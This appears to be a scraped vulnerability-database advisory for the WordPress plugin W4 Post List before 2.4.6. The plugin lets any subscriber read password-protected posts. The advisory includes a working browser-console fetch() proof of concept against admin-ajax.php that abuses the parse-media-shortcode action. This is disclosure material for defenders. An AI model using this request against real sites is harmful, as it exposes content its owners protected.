Lucene search

K
wpexploitWpvulndbWPEX-ID:AD5C167E-77F7-453C-9443-DF6E07705D89
HistoryMar 22, 2023 - 12:00 a.m.

W4 Post List < 2.4.6 - Subscriber+ Password Protected Post Content Disclosure

2023-03-2200:00:00
wpvulndb
159
post list
subscriber user
password protection
content disclosure
developer console
web browser
admin-ajax.php

EPSS

0.001

Percentile

29.8%

The plugin does not ensure that password protected posts can be accessed before displaying their content, which could allow any authenticated users to access them

Setup: Create a default Post list, and create a password protected post with secret content

Then, run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[postlist listId='1']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the content of the password protected post

EPSS

0.001

Percentile

29.8%

Related for WPEX-ID:AD5C167E-77F7-453C-9443-DF6E07705D89